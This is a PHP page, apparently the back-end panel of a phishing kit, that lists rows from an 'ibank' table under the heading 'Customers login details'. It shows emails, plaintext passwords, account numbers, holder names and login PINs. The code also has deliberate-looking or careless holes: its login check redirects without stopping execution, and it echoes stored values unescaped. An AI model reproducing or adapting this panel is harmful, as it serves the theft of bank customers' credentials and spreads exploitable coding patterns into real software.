<?php require_once('unibenkgh.php'); ?>
<?php

// We have to start our session every time we're
// going to call our session variable for a
// logged in issue.
session_start();

// Let's also make sure the user is logged in at all
// If the PHP $_SESSION[] array is not (!) set
if(!isset($_SESSION['username'])){
    //Then redirect them to the login page
    header( 'Location: index.html' );
}

?>
<?php require_once('unibenkgh.php'); ?>
<?php
if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  if (PHP_VERSION < 6) {
    $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
  }

  $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? doubleval($theValue) : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}

$currentPage = $_SERVER["PHP_SELF"];

$maxRows_viewdb = 20;
$pageNum_viewdb = 0;
if (isset($_GET['pageNum_viewdb'])) {
  $pageNum_viewdb = $_GET['pageNum_viewdb'];
}
$startRow_viewdb = $pageNum_viewdb * $maxRows_viewdb;

mysql_select_db($database_unibenkgh, $unibenkgh);
$query_viewdb = "SELECT * FROM ibank";
$query_limit_viewdb = sprintf("%s LIMIT %d, %d", $query_viewdb, $startRow_viewdb, $maxRows_viewdb);
$viewdb = mysql_query($query_limit_viewdb, $unibenkgh) or die(mysql_error());
$row_viewdb = mysql_fetch_assoc($viewdb);

if (isset($_GET['totalRows_viewdb'])) {
  $totalRows_viewdb = $_GET['totalRows_viewdb'];
} else {
  $all_viewdb = mysql_query($query_viewdb);
  $totalRows_viewdb = mysql_num_rows($all_viewdb);
}
$totalPages_viewdb = ceil($totalRows_viewdb/$maxRows_viewdb)-1;

$queryString_viewdb = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_viewdb") == false && 
        stristr($param, "totalRows_viewdb") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_viewdb = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_viewdb = sprintf("&totalRows_viewdb=%d%s", $totalRows_viewdb, $queryString_viewdb);
?>
<h4>&nbsp;</h4>
<h4>Customers login details.</h4>
<table width="100%" border="0">
  <tr bgcolor="#999999">
    <th width="10%" scope="col">Email</th>
    <th width="10%" scope="col">password</th>
    <th width="10%" scope="col">Account number</th>
    <th width="10%" scope="col">Account holder</th>
    <th width="10%" scope="col">Login PIN</th>
  </tr>
  <?php do { ?>
    <tr>
      <td><?php echo $row_viewdb['email']; ?></td>
      <td><?php echo $row_viewdb['password']; ?></td>
      <td><?php echo $row_viewdb['customernum']; ?></td>
      <td><?php echo $row_viewdb['accholder']; ?></td>
      <td><?php echo $row_viewdb['transpin']; ?></td>
    </tr>
    <?php } while ($row_viewdb = mysql_fetch_assoc($viewdb)); ?>
</table>
<?php
mysql_free_result($viewdb);
?>
<table border="0">
  <tr>
    <td><?php if ($pageNum_viewdb > 0) { // Show if not first page ?>
        <a href="<?php printf("%s?pageNum_viewdb=%d%s", $currentPage, 0, $queryString_viewdb); ?>">First</a>
        <?php } // Show if not first page ?></td>
    <td><?php if ($pageNum_viewdb > 0) { // Show if not first page ?>
        <a href="<?php printf("%s?pageNum_viewdb=%d%s", $currentPage, max(0, $pageNum_viewdb - 1), $queryString_viewdb); ?>">Previous</a>
        <?php } // Show if not first page ?></td>
    <td><?php if ($pageNum_viewdb < $totalPages_viewdb) { // Show if not last page ?>
        <a href="<?php printf("%s?pageNum_viewdb=%d%s", $currentPage, min($totalPages_viewdb, $pageNum_viewdb + 1), $queryString_viewdb); ?>">Next</a>
        <?php } // Show if not last page ?></td>
    <td><?php if ($pageNum_viewdb < $totalPages_viewdb) { // Show if not last page ?>
        <a href="<?php printf("%s?pageNum_viewdb=%d%s", $currentPage, $totalPages_viewdb, $queryString_viewdb); ?>">Last</a>
        <?php } // Show if not last page ?></td>
  </tr>
</table>
<p><a href="index.php">Homepage</a></p>
